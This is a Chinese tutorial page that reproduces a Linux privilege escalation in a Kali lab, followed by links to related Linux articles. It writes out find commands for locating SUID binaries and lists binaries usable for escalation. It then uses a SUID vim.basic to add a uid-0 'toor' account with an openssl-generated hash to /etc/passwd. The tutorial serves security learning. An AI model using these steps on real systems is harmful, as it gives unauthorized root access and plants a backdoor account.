Linux使用suid vim.basic文件实现提权
在kali上复现
先给需要的vim.basic文件设置suid权限
chmod u+s /usr/bin/vim.basic
先adduser test1一个普通权限用户
现在就是一个合适的提权环境
通过以下命令可以找到存在suid权限的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \；
可用于提权的文件有
- nmap
- vim
- find
- bash
- more
- less
- nano
- cp
利用vim提权的思路是修改etc/passwd文件，为自己添加一个有root权限的用户
passwd文件用户格式为：用户名:密码:uid:gid:注释:home目录:用户的shell
这边可以看看root用户的格式
root:x:0:0:root:/root:/bin/bash
（密码这部分之所以是x，是因为真正的密码存在/etc/shadow文件里）
生成密码：用openssl passwd -1 –salt asd 123 （这里是-1（数字1）不是L）
直接写在passwd文件里面，
toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash
用vim /etc/passwd可以修改，但是在保存是会出现E212，无法保存，提示我们没有权限修改这个
这时应该用之前find找到的vim.basic文件运行，这个程序是有suid权限的。绝对可以修改
vim.basic /etc/passwd
用这个打开，然后修改文件，就可以成功保存
可以看到已经添加了，su toor切换，密码123，再id查看一下权限
root权限
chmod u+s /usr/bin/vim.basic
以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持脚本之家。
- 一个简单的linux命令 cat
- 每天一个linux命令之locate 命令
- Linux中Vi和Vim编辑器用法详解
- linux系统下vim插件安装介绍
- 在Linux系统中使用Vim读写远程文件的命令详解
- Linux如何在Vim中更改颜色和主题
- linux下vi(vim)的新的用法总结
- linux常用工具vi/vim的使用完整版
- Linux Vim 实用命令详解
- Linux 常用文本处理命令和vim文本编辑器
- Linux (Ubuntu 18.04) 下安装vim编辑器的方法
- linux中的vi和vim编辑器操作方法
- 详解Linux文本编辑器Vim
- 详解Linux常用命令的用法（二）————文本编辑器命令vi/vim
- 详解linux系统输入输出管理和vim的常用功能
- Linux使用VIM编辑器的方法
- Linux 下vim使用教程
- Linux下设置Vim编辑器里Tab的长度行号
- 在Linux中使用Vundle管理Vim插件的方法
- Linux命令之mkdir，cat，touch，vi/vim的详解
相关文章
awk 脚本有三个主要部分：BEGIN 和 END 函数（都可选），用户自己写的每次要执行的函数。这篇文章主要介绍了在 awk 中怎么使用循环,需要的朋友可以参考下2019-12-12
这篇文章主要介绍了CentOS6.4 下安装SVN的详细教程，在安装之前需要检查是否已经安装过了，然后使用yum install subversion安装，具体操作详细过程请参考本文2016-10-10
本文详细介绍了Linux系统的目录结构、常用的文件操作命令、文本编辑器vi的使用技巧以及文件压缩和解压缩命令。内容涵盖了如cat、grep、vi、gzip等命令的具体用法，适合Linux用户和开发者参考学习2024-09-09
scp就是secure copy，一个在linux下用来进行远程拷贝文件的命令。下面这篇文章主要给大家介绍了关于Linux使用scp命令进行文件远程拷贝的相关资料，文中通过示例代码介绍的非常详细，需要的朋友可以参考下2018-12-12
这篇文章主要为大家详细介绍了linux网络NAT配置方式，具有一定的参考价值，感兴趣的小伙伴们可以参考一下2018-08-08
这篇文章主要介绍了linux swap交换内存扩容的方法，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧2020-07-07
这篇文章主要介绍了linux上传并配置jdk和tomcat的操作方法，本文给大家介绍的非常详细，对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下2020-06-06
这篇文章主要介绍了Linux进程间通信方式之socket使用实例，具有一定参考价值，需要的朋友可以了解下。2017-11-11
这篇文章主要给大家介绍了关于Bash中文件描述符的相关资料，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧。2018-04-04
这篇文章主要介绍了详解在Linux中清空或删除大文件内容的5种方法，小编觉得挺不错的，现在分享给大家，也给大家做个参考。一起跟随小编过来看看吧2018-11-11
最新评论